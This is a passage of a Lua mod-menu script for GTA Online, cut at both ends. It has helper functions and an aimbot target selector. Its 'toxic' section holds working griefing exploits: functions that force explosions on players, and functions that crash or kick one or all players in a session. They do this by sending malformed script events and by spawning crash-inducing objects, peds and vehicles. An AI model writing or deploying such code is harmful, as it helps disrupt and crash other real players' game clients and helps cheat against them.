ENTITY.SET_ENTITY_VISIBLE(entity, false, 0)
wait()
ENTITY.SET_ENTITY_VISIBLE(entity, false, 0)
end
end
function NetIt(entity, playerID)
local netID = NETWORK.NETWORK_GET_NETWORK_ID_FROM_ENTITY(entity)
NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(entity)
if not NETWORK.NETWORK_HAS_CONTROL_OF_ENTITY(entity) then
for i = 1, 100 do
NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(entity)
wait(50)
end
else
if SE_Notifications then
util.toast("Has control.")
end
end
wait(10)
NETWORK.NETWORK_REQUEST_CONTROL_OF_NETWORK_ID(netID)
wait(10)
NETWORK.SET_NETWORK_ID_EXISTS_ON_ALL_MACHINES(netID)
wait(10)
NETWORK.SET_NETWORK_ID_CAN_MIGRATE(netID, false)
wait(10)
NETWORK.SET_NETWORK_ID_ALWAYS_EXISTS_FOR_PLAYER(netID, playerID, true)
wait(10)
ENTITY.SET_ENTITY_AS_MISSION_ENTITY(entity, true, false)
wait(10)
ENTITY._SET_ENTITY_CLEANUP_BY_ENGINE(entity, false)
wait(10)
if ENTITY.IS_ENTITY_AN_OBJECT(entity) then
NETWORK.OBJ_TO_NET(entity)
end
wait(10)
if BA_visible then
ENTITY.SET_ENTITY_VISIBLE(entity, true, 0)
else
ENTITY.SET_ENTITY_VISIBLE(entity, false, 0)
wait()
ENTITY.SET_ENTITY_VISIBLE(entity, false, 0)
wait()
ENTITY.SET_ENTITY_VISIBLE(entity, false, 0)
end
end
function GetGamerHandleFromPlayer(playerID)
local gmr_hndl = memory.alloc(104)
NETWORK.NETWORK_HANDLE_FROM_PLAYER(playerID, gmr_hndl, 13)
if NETWORK.NETWORK_IS_HANDLE_VALID(gmr_hndl, 13) then
local gamerHandle = gmr_hndl
memory.free(gmr_hndl)
return gamerHandle
else
memory.free(gmr_hndl)
util.toast("GamerHandle failed!")
return nil
end
end
---- >> ---- ---- >> ---- ---- >> ---- ---- >> ---- NETWORK FUNCTIONS END ---- >> ---- ---- >> ---- ---- >> ---- ---- >> ----
---- >> ---- ---- >> ---- ---- >> ---- ---- >> ---- POSITION FUNCTIONS START ---- >> ---- ---- >> ---- ---- >> ---- ---- >> ----
function Get_Waypoint_Pos2()
if HUD.IS_WAYPOINT_ACTIVE() then
local blip = HUD.GET_FIRST_BLIP_INFO_ID(8)
local waypoint_pos = HUD.GET_BLIP_COORDS(blip)
return waypoint_pos
else
util.toast("NO_WAYPOINT_SET")
end
end
function GetClosestPlayerWithRange(range)
local pedPointers = entities.get_all_peds_as_pointers()
local rangesq = range * range
local ourCoords = getEntityCoords(GetLocalPed())
local tbl = {}
local closest_player = 0
for i = 1, #pedPointers do
local tarcoords = entities.get_position(pedPointers[i])
local vdist = SYSTEM.VDIST2(ourCoords.x, ourCoords.y, ourCoords.z, tarcoords.x, tarcoords.y, tarcoords.z)
if vdist <= rangesq then
tbl[#tbl+1] = entities.pointer_to_handle(pedPointers[i])
end
end
if tbl ~= nil then
local dist = 999999
for i = 1, #tbl do
if tbl[i] ~= GetLocalPed() then
if PED.IS_PED_A_PLAYER(tbl[i]) then
local tarcoords = getEntityCoords(tbl[i])
local e = SYSTEM.VDIST2(ourCoords.x, ourCoords.y, ourCoords.z, tarcoords.x, tarcoords.y, tarcoords.z)
if e < dist then
dist = e
closest_player = tbl[i]
end
end
end
end
end
if closest_player ~= 0 then
return closest_player
else
return nil
end
end
function GetClosestPlayerWithRange_Whitelist(range, inair) --variation of getClosestPlayerWithinRange to work with my whitelisting feature for silent aimbot
local pedPointers = entities.get_all_peds_as_pointers()
local rangesq = range * range
local ourCoords = getEntityCoords(GetLocalPed())
local tbl = {}
local closest_player = 0
for i = 1, #pedPointers do
local tarcoords = entities.get_position(pedPointers[i])
local vdist = SYSTEM.VDIST2(ourCoords.x, ourCoords.y, ourCoords.z, tarcoords.x, tarcoords.y, tarcoords.z)
if vdist <= rangesq then
local handle = entities.pointer_to_handle(pedPointers[i])
if (inair and (ENTITY.GET_ENTITY_HEIGHT_ABOVE_GROUND(handle) >= 9)) or (not inair) then --air check
local playerID = NETWORK.NETWORK_GET_PLAYER_INDEX_FROM_PED(handle)
if not AIM_WHITELIST[playerID] then --this is the whitelist check.
tbl[#tbl+1] = handle
end
end
end
end
if tbl ~= nil then
local dist = 999999
for i = 1, #tbl do
if tbl[i] ~= GetLocalPed() then
if PED.IS_PED_A_PLAYER(tbl[i]) then
local tarcoords = getEntityCoords(tbl[i])
local e = SYSTEM.VDIST2(ourCoords.x, ourCoords.y, ourCoords.z, tarcoords.x, tarcoords.y, tarcoords.z)
if e < dist then
dist = e
closest_player = tbl[i]
end
end
end
end
end
if closest_player ~= 0 then
return closest_player
else
return nil
end
end
function GetSuitableAimbotTarget(fov, fovcheck, dist, loscheck)
local ourped = GetLocalPed()
local distsq = dist * dist
local ourc = getEntityCoords(ourped)
local entTable = entities.get_all_peds_as_pointers()
local inRange = {}
for _, entity in pairs(entTable) do
local entpos = entities.get_position(entity)
if SYSTEM.VDIST2(ourc.x, ourc.y, ourc.z, entpos.x, entpos.y, entpos.z) <= distsq then --distance check
local handle = entities.pointer_to_handle(entity)
if (handle ~= ourped) then
if (not PED.IS_PED_DEAD_OR_DYING(handle)) and (INTERIOR.GET_INTERIOR_FROM_ENTITY(handle) == 0) then --dead/interior check
if (fovcheck and PED.IS_PED_FACING_PED(ourped, handle, fov)) or (not fovcheck) then --fov check
if (PED.IS_PED_A_PLAYER(handle)) and (not AIM_WHITELIST[NETWORK.NETWORK_GET_PLAYER_INDEX_FROM_PED(handle)]) then --whitelist, player check
if (loscheck and ENTITY.HAS_ENTITY_CLEAR_LOS_TO_ENTITY(ourped, handle, 17)) or (not loscheck) then --line-of-sight check
inRange[#inRange+1] = handle
end
end
end
end
end
end
end
local retplayer
local d = 99999999999
if #inRange ~= 0 then
for _, ped in pairs(inRange) do
local tc = getEntityCoords(ped)
local vidsti = SYSTEM.VDIST2(ourc.x, ourc.y, ourc.z, tc.x, tc.y, tc.z)
if vidsti < d then
retplayer = ped
d = vidsti
end
end
return retplayer
end
return nil
end
function ShootSingleBulletBetweenCoords(coords1, coords2, dmg, weaponhash, ownerped, audible, invisible, speed)
MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(
coords1.x, coords1.y, coords1.z,
coords2.x, coords2.y, coords2.z,
dmg, true, weaponhash, ownerped, audible, invisible, speed)
end
function ShootBulletAtPedBone(ped, boneID, dmg, weaponHash, speed)
local bonecoords = PED.GET_PED_BONE_COORDS(ped, boneID, 0, 0, 0)
local ourped = GetLocalPed()
local ourhead = PED.GET_PED_BONE_COORDS(ourped, 12844, 0, 0, 0); local ourfront = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(ourped, 0, 1, 0)
ourfront.z = ourhead.z --to shoot out of infront of our head
ShootSingleBulletBetweenCoords(ourfront, bonecoords, dmg, weaponHash, ourped, true, false, speed)
end
function GetClosestPlayerWithRange_Whitelist_DisallowEntities(range, disallowedEntities, inair) --variation of GetClosestPlayerWithRange_Whitelist, that makes entities not returned if they are in the table.
local pedPointers = entities.get_all_peds_as_pointers()
local rangesq = range * range
local ourCoords = getEntityCoords(GetLocalPed())
local tbl = {}
local closest_player = 0
for i = 1, #pedPointers do
local tarcoords = entities.get_position(pedPointers[i])
local vdist = SYSTEM.VDIST2(ourCoords.x, ourCoords.y, ourCoords.z, tarcoords.x, tarcoords.y, tarcoords.z)
if vdist <= rangesq then
local handle = entities.pointer_to_handle(pedPointers[i])
local playerID = NETWORK.NETWORK_GET_PLAYER_INDEX_FROM_PED(handle)
if (inair and (ENTITY.GET_ENTITY_HEIGHT_ABOVE_GROUND(handle) >= 9)) or (not inair) then --air check
if not AIM_WHITELIST[playerID] then --this is the whitelist check.
if not DoesTableContainValue(disallowedEntities, handle) then --this is the disallowed entities table check
tbl[#tbl+1] = handle
end
end
end
end
end
if tbl ~= nil then
local dist = 999999
for i = 1, #tbl do
if tbl[i] ~= GetLocalPed() then
if PED.IS_PED_A_PLAYER(tbl[i]) then
local tarcoords = getEntityCoords(tbl[i])
local e = SYSTEM.VDIST2(ourCoords.x, ourCoords.y, ourCoords.z, tarcoords.x, tarcoords.y, tarcoords.z)
if e < dist then
dist = e
closest_player = tbl[i]
end
end
end
end
end
if closest_player ~= 0 then
return closest_player
else
return nil
end
end
function GetClosestNonPlayerPedWithRange(range)
local pedPointers = entities.get_all_peds_as_pointers()
local rangesq = range * range
local ourCoords = getEntityCoords(GetLocalPed())
local tbl = {}
local closest_ped = 0
for i = 1, #pedPointers do
local tarcoords = entities.get_position(pedPointers[i])
local vdist = SYSTEM.VDIST2(ourCoords.x, ourCoords.y, ourCoords.z, tarcoords.x, tarcoords.y, tarcoords.z)
if vdist <= rangesq then
tbl[#tbl+1] = entities.pointer_to_handle(pedPointers[i])
end
end
if tbl ~= nil then
local dist = 999999
for i = 1, #tbl do
if tbl[i] ~= GetLocalPed() then
if not PED.IS_PED_A_PLAYER(tbl[i]) then
local tarcoords = getEntityCoords(tbl[i])
local e = SYSTEM.VDIST2(ourCoords.x, ourCoords.y, ourCoords.z, tarcoords.x, tarcoords.y, tarcoords.z)
if e < dist then
dist = e
closest_ped = tbl[i]
end
end
end
end
end
if closest_ped ~= 0 then
return closest_ped
else
return nil
end
end
function GetClosestNonPlayerPedWithRange_DisallowedEntities(range, disallowedEntities, inair) --modified version of GetClosestNonPlayerPedWithRange that takes a table of disallowed entities (blacklisted peds)
local pedPointers = entities.get_all_peds_as_pointers()
local rangesq = range * range
local ourCoords = getEntityCoords(GetLocalPed())
local tbl = {}
local closest_ped = 0
for i = 1, #pedPointers do
local tarcoords = entities.get_position(pedPointers[i])
local vdist = SYSTEM.VDIST2(ourCoords.x, ourCoords.y, ourCoords.z, tarcoords.x, tarcoords.y, tarcoords.z)
if vdist <= rangesq then
local handle = entities.pointer_to_handle(pedPointers[i])
if (inair and (ENTITY.GET_ENTITY_HEIGHT_ABOVE_GROUND(handle) >= 9)) or (not inair) then
if not DoesTableContainValue(disallowedEntities, handle) then
tbl[#tbl+1] = handle
end
end
end
end
if tbl ~= nil then
local dist = 999999
for i = 1, #tbl do
if tbl[i] ~= GetLocalPed() then
if not PED.IS_PED_A_PLAYER(tbl[i]) then
local tarcoords = getEntityCoords(tbl[i])
local e = SYSTEM.VDIST2(ourCoords.x, ourCoords.y, ourCoords.z, tarcoords.x, tarcoords.y, tarcoords.z)
if e < dist then
dist = e
closest_ped = tbl[i]
end
end
end
end
end
if closest_ped ~= 0 then
return closest_ped
else
return nil
end
end
---- >> ---- ---- >> ---- ---- >> ---- ---- >> ---- POSITION FUNCTIONS START ---- >> ---- ---- >> ---- ---- >> ---- ---- >> ----
---- >> ---- ---- >> ---- ---- >> ---- ---- >> ---- MODEL FUNCTIONS START ---- >> ---- ---- >> ---- ---- >> ---- ---- >> ----
function RqModel (hash)
STREAMING.REQUEST_MODEL(hash)
local count = 0
util.toast("Requesting model...")
while not STREAMING.HAS_MODEL_LOADED(hash) and count < 100 do
STREAMING.REQUEST_MODEL(hash)
count = count + 1
wait(10)
end
if not STREAMING.HAS_MODEL_LOADED(hash) then
util.toast("Tried for 1 second, couldn't load this specified model!")
end
end
function SpawnPedOnPlayer(hash, pid)
RqModel(hash)
local lc = getEntityCoords(getPlayerPed(pid))
local pe = entities.create_ped(26, hash, lc, 0)
STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(hash)
return pe
end
function SpawnObjectOnPlayer(hash, pid)
RqModel(hash)
local lc = getEntityCoords(getPlayerPed(pid))
local ob = entities.create_object(hash, lc)
STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(hash)
return ob
end
function SpawnPickupOnPlayer(pickuphash, modelhash, value, pid)
RqModel(modelhash)
local pc = getEntityCoords(getPlayerPed(pid))
OBJECT.CREATE_PICKUP(pickuphash, pc.x, pc.y, pc.z, 99999, value, true, modelhash)
end
---- >> ---- ---- >> ---- ---- >> ---- ---- >> ---- MODEL FUNCTIONS END ---- >> ---- ---- >> ---- ---- >> ---- ---- >> ----
---- >> ---- ---- >> ---- ---- >> ---- ---- >> ---- SUICIDE FUNCTIONS START ---- >> ---- ---- >> ---- ---- >> ---- ---- >> ----
function MakePlayerExplodeSuicide(pid)
local playerPed = getPlayerPed(pid)
local playerCoords = getEntityCoords(playerPed)
-- checks for interior, godmode, and vehicle all in one if / elseif statement...
if players.is_godmode(pid) and not players.is_in_interior(pid) then
util.toast("Player is in godmode, stopping explode...")
elseif players.is_in_interior(pid) then
util.toast("Player is in an interior, stopping explode...")
elseif PED.IS_PED_IN_ANY_VEHICLE(playerPed, true) then
for i = 0, 50, 1 do --50 explosions to account for armored vehicles, using type 5, as a tank shell as well xD
SE_add_owned_explosion(playerPed, playerCoords.x, playerCoords.y, playerCoords.z, 5, 10, SEisExploAudible, SEisExploInvis, 0)
wait(10)
end
else
SE_add_owned_explosion(playerPed, playerCoords.x, playerCoords.y, playerCoords.z, 1, 10, SEisExploAudible, SEisExploInvis, 0)
end
end
function MakePlayerMolotovSuicide(pid)
local playerPed = getPlayerPed(pid)
local playerCoords = getEntityCoords(playerPed)
--checks for godmode and interior
if players.is_godmode(pid) and not players.is_in_interior(pid) then
util.toast("Player is in godmode, stopping explode...")
elseif players.is_in_interior(pid) then
util.toast("Player is in an interior, stopping explode...")
else
SE_add_owned_explosion(playerPed, playerCoords.x, playerCoords.y, playerCoords.z, 3, 10, SEisExploAudible, SEisExploInvis, 0)
end
end
---- >> ---- ---- >> ---- ---- >> ---- ---- >> ---- SUICIDE FUNCTIONS START ---- >> ---- ---- >> ---- ---- >> ---- ---- >> ----
---- >> ---- ---- >> ---- ---- >> ---- ---- >> ---- TOXIC FUNCTIONS START ---- >> ---- ---- >> ---- ---- >> ---- ---- >> ----
function EveryoneExplodeSuicides()
for i = 0, 31, 1 do
if players.exists(i) then --checks for if the PID exists in session
local playerPed = getPlayerPed(i)
local playerCoords = getEntityCoords(playerPed)
if PED.IS_PED_IN_ANY_VEHICLE(playerPed, true) then
for a = 0, 50, 1 do --50 explosions to account for armored vehicles, using type 5, as a tank shell as well xD
SE_add_owned_explosion(playerPed, playerCoords.x, playerCoords.y, playerCoords.z, 5, 10, SEisExploAudible, SEisExploInvis, 0)
wait(10)
end
else
SE_add_owned_explosion(playerPed, playerCoords.x, playerCoords.y, playerCoords.z, 1, 10, SEisExploAudible, SEisExploInvis, 0)
end
end
end
end
function PizzaCAll()
for p = 0, 31, 1 do
if p ~= players.user() and ENTITY.DOES_ENTITY_EXIST(getPlayerPed(p)) then
for i = 1, 10 do
local cord = getEntityCoords(getPlayerPed(p))
requestModel(-930879665)
wait(10)
requestModel(3613262246)
wait(10)
requestModel(452618762)
wait(10)
while not hasModelLoaded(-930879665) do wait() end
while not hasModelLoaded(3613262246) do wait() end
while not hasModelLoaded(452618762) do wait() end
local a1 = entities.create_object(-930879665, cord)
wait(10)
local a2 = entities.create_object(3613262246, cord)
wait(10)
local b1 = entities.create_object(452618762, cord)
wait(10)
local b2 = entities.create_object(3613262246, cord)
wait(300)
entities.delete_by_handle(a1)
entities.delete_by_handle(a2)
entities.delete_by_handle(b1)
entities.delete_by_handle(b2)
noNeedModel(452618762)
wait(10)
noNeedModel(3613262246)
wait(10)
noNeedModel(-930879665)
wait(10)
end
if SE_Notifications then
util.toast("Finished with player // " .. tostring(PLAYER.GET_PLAYER_NAME(p)) .. " // of index " .. p)
end
end
end
end
function FreemodeDeathAll()
for p = 0, 31 do
if p ~= players.user() and NETWORK.NETWORK_IS_PLAYER_CONNECTED(p) then
for i = -1, 1 do
for n = -1, 1 do
util.trigger_script_event(1 << p, {-65587051, 28, i, n})
end
end
for i = -1, 1 do
for n = -1, 1 do
util.trigger_script_event(1 << p, {1445703181, 28, i, n})
end
end
wait(100)
util.trigger_script_event(1 << p, {-290218924, -32190, -71399, 19031, 85474, 4468, -2112})
util.trigger_script_event(1 << p, {-227800145, -1000000, -10000000, -100000000, -100000000, -100000000})
util.trigger_script_event(1 << p, {2002459655, -1000000, -10000, -100000000})
util.trigger_script_event(1 << p, {911179316, -38, -30, -75, -59, 85, 82})
end
for i = -1, 1 do
for a = -1, 1 do
util.trigger_script_event(1 << p, {916721383, i, a, 0, 26})
end
end
end
end
TXC_SLOW = false
function AIOKickAll()
menu.trigger_commands("scripthost")
NETWORK.NETWORK_REQUEST_TO_BE_HOST_OF_THIS_SCRIPT()
for i = 0, 31 do
if i ~= players.user() and NETWORK.NETWORK_IS_PLAYER_CONNECTED(i) then
util.toast("Player connected " .. tostring(PLAYER.GET_PLAYER_NAME(i) .. ", commencing AIO."))
util.trigger_script_event(1 << i, {0x37437C28, 1, 15, math.random(-2147483647, 2147483647)})
wait(10)
util.trigger_script_event(1 << i, {-1308840134, 1, 15, math.random(-2147483647, 2147483647)})
wait(10)
util.trigger_script_event(1 << i, {0x4E0350C6, 1, 15, math.random(-2147483647, 2147483647)})
wait(10)
util.trigger_script_event(1 << i, {-0x114C63AC, 1, 15, math.random(-2147483647, 2147483647)})
wait(10)
util.trigger_script_event(1 << i, {-0x15F5B1D4, 1, 15, math.random(-2147483647, 2147483647)})
wait(10)
util.trigger_script_event(1 << i, {-0x249FE11B, 1, 15, math.random(-2147483647, 2147483647)})
wait(10)
util.trigger_script_event(1 << i, {-0x76B11968, 1, 15, math.random(-2147483647, 2147483647)})
wait(10)
util.trigger_script_event(1 << i, {0x9C050EC, 1, 15, math.random(-2147483647, 2147483647)})
wait(10)
util.trigger_script_event(1 << i, {0x3B873479, 1, 15, math.random(-2147483647, 2147483647)})
wait(10)
util.trigger_script_event(1 << i, {0x23F74138, math.random(-2147483647, 2147483647), 1, 115, math.random(-2147483647, 2147483647)})
wait(10)
--[[
util.trigger_script_event(1 << i, {0xAD63290E, math.random(-2147483647, 2147483647), 1, 115, math.random(-2147483647, 2147483647)})
wait(10)
]]
--[[
util.trigger_script_event(1 << i, {0x39624029, math.random(-2147483647, 2147483647), 1, 115, math.random(-2147483647, 2147483647)})
wait(10)
]]
util.trigger_script_event(1 << i, {-0x529CD6F2, math.random(-2147483647, 2147483647), 1, 115, math.random(-2147483647, 2147483647)})
wait(10)
util.trigger_script_event(1 << i, {-0x756DBC8A, math.random(-2147483647, 2147483647), 1, 115, math.random(-2147483647, 2147483647)})
wait(10)
util.trigger_script_event(1 << i, {-0x69532BA0, math.random(-2147483647, 2147483647), 1, 115, math.random(-2147483647, 2147483647)})
wait(10)
util.trigger_script_event(1 << i, {0x68C5399F, math.random(-2147483647, 2147483647), 1, 115, math.random(-2147483647, 2147483647)})
wait(10)
util.trigger_script_event(1 << i, {0x7DE8CAC0, math.random(-2147483647, 2147483647), 1, 115, math.random(-2147483647, 2147483647)})
wait(10)
util.trigger_script_event(1 << i, {0x285DDF33, math.random(-2147483647, 2147483647), 1, 115, math.random(-2147483647, 2147483647)})
wait(10)
util.trigger_script_event(1 << i, {-0x177132B8, math.random(-2147483647, 2147483647), 1, 115, math.random(-2147483647, 2147483647)})
wait(10)
--util.toast("Main block done. // AIO")
util.trigger_script_event(1 << i, {memory.script_global(1893548 + (1 + (i * 600) + 511)), i})
for a = -1, 1 do
for n = -1, 1 do
util.trigger_script_event(1 << i, {-65587051, 28, a, n})
wait(10)
end
end
--util.toast("Second block done. // AIO")
for a = -1, 1 do
for n = -1, 1 do
util.trigger_script_event(1 << i, {1445703181, 28, a, n})
wait(10)
end
end
--util.toast("Third block done. // AIO")
if TXC_SLOW then
wait(10)
util.trigger_script_event(1 << i, {-290218924, -32190, -71399, 19031, 85474, 4468, -2112})
wait(10)
util.trigger_script_event(1 << i, {-227800145, -1000000, -10000000, -100000000, -100000000, -100000000})
wait(10)
util.trigger_script_event(1 << i, {2002459655, -1000000, -10000, -100000000})
wait(10)
util.trigger_script_event(1 << i, {911179316, -38, -30, -75, -59, 85, 82})
wait(10)
--[[
for n = -10, -7 do
for a = -60, 60 do
util.trigger_script_event(1 << i, {0x39624029, n, 623656, a, 73473741, -7, 856844, -51251, 856844})
wait(10)
end
end
]]
util.trigger_script_event(1 << i, {-290218924, -32190, -71399, 19031, 85474, 4468, -2112})
wait(10)
util.trigger_script_event(1 << i, {-1386010354, 91645, -99683, 1788, 60877, 55085, 72028})
wait(10)
util.trigger_script_event(1 << i, {-227800145, -1000000, -10000000, -100000000, -100000000, -100000000})
wait(10)
for g = -28, 0 do
for n = -1, 1 do
for a = -1, 1 do
util.trigger_script_event(1 << i, {1445703181, i, n, a})
end
end
wait(10)
end
--[[for a = -28, 20 do
for n = -10, 2 do
for b = -100, 100 do
util.trigger_script_event(1 << i, {-1782442696, b, n, a})
util.log("Number 6, iteration " .. b)
end
util.log("Number 7, iteration " .. n)
end
util.log("Number 8, iteration " .. a)
wait(10)
end]]
for a = -11, 11 do
util.trigger_script_event(1 << i, {2002459655, -1000000, a, -100000000})
end
for a = -10, 10 do
for n = 30, -30 do
util.trigger_script_event(1 << i, {911179316, a, n, -75, -59, 85, 82})
end
end
for a = -10, 10 do
util.trigger_script_event(1 << i, {-65587051, a, -1, -1})
end
util.trigger_script_event(1 << i, {951147709, i, 1000000, nil, nil})
for a = -10, 10 do
util.trigger_script_event(1 << i, {-1949011582, a, 1518380048})
end
for a = -10, 4 do
for n = -10, 5 do
util.trigger_script_event(1 << i, {1445703181, 28, a, n})
end
end
end
util.toast("Fourth block done. // AIO")
util.toast("Iteration " .. i .. " complete of AIO kick.")
util.toast("Player " .. PLAYER.GET_PLAYER_NAME(i) .. " done.")
end
end
wait(100)
end
function FreemodeDeathPlayer(pid)
for i = -1, 1 do
for n = -1, 1 do
util.trigger_script_event(1 << pid, {-65587051, 28, i, n})
end
end
for i = -1, 1 do
for n = -1, 1 do
util.trigger_script_event(1 << pid, {1445703181, 28, i, n})
end
end
wait(100)
util.trigger_script_event(1 << pid, {-290218924, -32190, -71399, 19031, 85474, 4468, -2112})
util.trigger_script_event(1 << pid, {-227800145, -1000000, -10000000, -100000000, -100000000, -100000000})
util.trigger_script_event(1 << pid, {2002459655, -1000000, -10000, -100000000})
util.trigger_script_event(1 << pid, {911179316, -38, -30, -75, -59, 85, 82})
for i = -1, 1 do
for a = -1, 1 do
util.trigger_script_event(1 << pid, {916721383, i, a, 0, 26})
end
end
end
function AIOKickPlayer(pid)
if SE_Notifications then
util.toast("Player connected " .. tostring(PLAYER.GET_PLAYER_NAME(pid) .. ", commencing AIO."))
end
util.trigger_script_event(1 << pid, {0x37437C28, 1, 15, math.random(-2147483647, 2147483647)})
wait(10)
util.trigger_script_event(1 << pid, {-1308840134, 1, 15, math.random(-2147483647, 2147483647)})
wait(10)
util.trigger_script_event(1 << pid, {0x4E0350C6, 1, 15, math.random(-2147483647, 2147483647)})
wait(10)
util.trigger_script_event(1 << pid, {-0x114C63AC, 1, 15, math.random(-2147483647, 2147483647)})
wait(10)
util.trigger_script_event(1 << pid, {-0x15F5B1D4, 1, 15, math.random(-2147483647, 2147483647)})
wait(10)
util.trigger_script_event(1 << pid, {-0x249FE11B, 1, 15, math.random(-2147483647, 2147483647)})
wait(10)
util.trigger_script_event(1 << pid, {-0x76B11968, 1, 15, math.random(-2147483647, 2147483647)})
wait(10)
util.trigger_script_event(1 << pid, {0x9C050EC, 1, 15, math.random(-2147483647, 2147483647)})
wait(10)
util.trigger_script_event(1 << pid, {0x3B873479, 1, 15, math.random(-2147483647, 2147483647)})
wait(10)
util.trigger_script_event(1 << pid, {0x23F74138, math.random(-2147483647, 2147483647), 1, 115, math.random(-2147483647, 2147483647)})
wait(10)
--[[
util.trigger_script_event(1 << pid, {0xAD63290E, math.random(-2147483647, 2147483647), 1, 115, math.random(-2147483647, 2147483647)})
wait(10)
]]
--[[
util.trigger_script_event(1 << pid, {0x39624029, math.random(-2147483647, 2147483647), 1, 115, math.random(-2147483647, 2147483647)})
wait(10)
]]
util.trigger_script_event(1 << pid, {-0x529CD6F2, math.random(-2147483647, 2147483647), 1, 115, math.random(-2147483647, 2147483647)})
wait(10)
util.trigger_script_event(1 << pid, {-0x756DBC8A, math.random(-2147483647, 2147483647), 1, 115, math.random(-2147483647, 2147483647)})
wait(10)
util.trigger_script_event(1 << pid, {-0x69532BA0, math.random(-2147483647, 2147483647), 1, 115, math.random(-2147483647, 2147483647)})
wait(10)
util.trigger_script_event(1 << pid, {0x68C5399F, math.random(-2147483647, 2147483647), 1, 115, math.random(-2147483647, 2147483647)})
wait(10)
util.trigger_script_event(1 << pid, {0x7DE8CAC0, math.random(-2147483647, 2147483647), 1, 115, math.random(-2147483647, 2147483647)})
wait(10)
util.trigger_script_event(1 << pid, {0x285DDF33, math.random(-2147483647, 2147483647), 1, 115, math.random(-2147483647, 2147483647)})
wait(10)
util.trigger_script_event(1 << pid, {-0x177132B8, math.random(-2147483647, 2147483647), 1, 115, math.random(-2147483647, 2147483647)})
wait(10)
--util.toast("Main block done. // AIO")
util.trigger_script_event(1 << pid, {memory.script_global(1893548 + (1 + (pid * 600) + 511)), pid})
for a = -1, 1 do
for n = -1, 1 do
util.trigger_script_event(1 << pid, {-65587051, 28, a, n})
wait(10)
end
end
--util.toast("Second block done. // AIO")
for a = -1, 1 do
for n = -1, 1 do
util.trigger_script_event(1 << pid, {1445703181, 28, a, n})
wait(10)
end
end
--util.toast("Third block done. // AIO")
if TXC_SLOW then
wait(10)
util.trigger_script_event(1 << pid, {-290218924, -32190, -71399, 19031, 85474, 4468, -2112})
wait(10)
util.trigger_script_event(1 << pid, {-227800145, -1000000, -10000000, -100000000, -100000000, -100000000})
wait(10)
util.trigger_script_event(1 << pid, {2002459655, -1000000, -10000, -100000000})
wait(10)
util.trigger_script_event(1 << pid, {911179316, -38, -30, -75, -59, 85, 82})
wait(10)
--[[
for n = -10, -7 do
for a = -60, 60 do
util.trigger_script_event(1 << pid, {0x39624029, n, 623656, a, 73473741, -7, 856844, -51251, 856844})
wait(10)
end
end]]
util.trigger_script_event(1 << pid, {-290218924, -32190, -71399, 19031, 85474, 4468, -2112})
wait(10)
util.trigger_script_event(1 << pid, {-1386010354, 91645, -99683, 1788, 60877, 55085, 72028})
wait(10)
util.trigger_script_event(1 << pid, {-227800145, -1000000, -10000000, -100000000, -100000000, -100000000})
wait(10)
for g = -28, 0 do
for n = -1, 1 do
for a = -1, 1 do
util.trigger_script_event(1 << pid, {1445703181, g, n, a})
end
end
wait(10)
end
--[[for a = -28, 20 do
for n = -10, 2 do
for b = -100, 100 do
util.trigger_script_event(1 << pid, {-1782442696, b, n, a})
util.log("Number 6, iteration " .. b)
end
util.log("Number 7, iteration " .. n)
end
util.log("Number 8, iteration " .. a)
wait(10)
end]]
for a = -11, 11 do
util.trigger_script_event(1 << pid, {2002459655, -1000000, a, -100000000})
end
for a = -10, 10 do
for n = 30, -30 do
util.trigger_script_event(1 << pid, {911179316, a, n, -75, -59, 85, 82})
end
end
for a = -10, 10 do
util.trigger_script_event(1 << pid, {-65587051, a, -1, -1})
end
util.trigger_script_event(1 << pid, {951147709, pid, 1000000, nil, nil})
for a = -10, 10 do
util.trigger_script_event(1 << pid, {-1949011582, a, 1518380048})
end
for a = -10, 4 do
for n = -10, 5 do
util.trigger_script_event(1 << pid, {1445703181, 28, a, n})
end
end
end
if SE_Notifications then
util.toast("Fourth block done. // AIO")
util.toast("Iteration " .. pid .. " complete of AIO kick.")
util.toast("Player " .. PLAYER.GET_PLAYER_NAME(pid) .. " done.")
end
end
function PlagueCrashPlayer(pid)
for i = 1, 10 do
local cord = getEntityCoords(getPlayerPed(pid))
requestModel(-930879665)
wait(10)
requestModel(3613262246)
wait(10)
requestModel(452618762)
wait(10)
while not hasModelLoaded(-930879665) do wait() end
while not hasModelLoaded(3613262246) do wait() end
while not hasModelLoaded(452618762) do wait() end
local a1 = entities.create_object(-930879665, cord)
wait(10)
local a2 = entities.create_object(3613262246, cord)
wait(10)
local b1 = entities.create_object(452618762, cord)
wait(10)
local b2 = entities.create_object(3613262246, cord)
wait(300)
entities.delete_by_handle(a1)
entities.delete_by_handle(a2)
entities.delete_by_handle(b1)
entities.delete_by_handle(b2)
noNeedModel(452618762)
wait(10)
noNeedModel(3613262246)
wait(10)
noNeedModel(-930879665)
wait(10)
end
if SE_Notifications then
util.toast("Finished.")
end
end
function BadOutfitCrash(pid)
RqModel(0x705E61F2)
local pc = getEntityCoords(getPlayerPed(pid))
local ped = PED.CREATE_PED(26, 0x705E61F2, pc.x, pc.y, pc.z, 0, true, false)
NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(ped)
PED.SET_PED_COMPONENT_VARIATION(ped, 0, 45, 0, 0)
PED.SET_PED_COMPONENT_VARIATION(ped, 1, 197, 0, 0)
PED.SET_PED_COMPONENT_VARIATION(ped, 2, 76, 0, 0)
PED.SET_PED_COMPONENT_VARIATION(ped, 3, 196, 0, 0)
PED.SET_PED_COMPONENT_VARIATION(ped, 4, 144, 0, 0)
PED.SET_PED_COMPONENT_VARIATION(ped, 5, 99, 0, 0)
PED.SET_PED_COMPONENT_VARIATION(ped, 6, 102, 0, 0)
PED.SET_PED_COMPONENT_VARIATION(ped, 7, 151, 0, 0)
PED.SET_PED_COMPONENT_VARIATION(ped, 8, 189, 0, 0)
PED.SET_PED_COMPONENT_VARIATION(ped, 9, 56, 0, 0)
PED.SET_PED_COMPONENT_VARIATION(ped, 10, 132, 0, 0)
PED.SET_PED_COMPONENT_VARIATION(ped, 11, 393, 0, 0)
wait(2000)
entities.delete_by_handle(ped)
end
function BadNetVehicleCrash(pid)
local hashes = {1492612435, 3517794615, 3889340782, 3253274834}
local vehicles = {}
for i = 1, 4 do
util.create_thread(function()
RqModel(hashes[i])
local pcoords = getEntityCoords(getPlayerPed(pid))
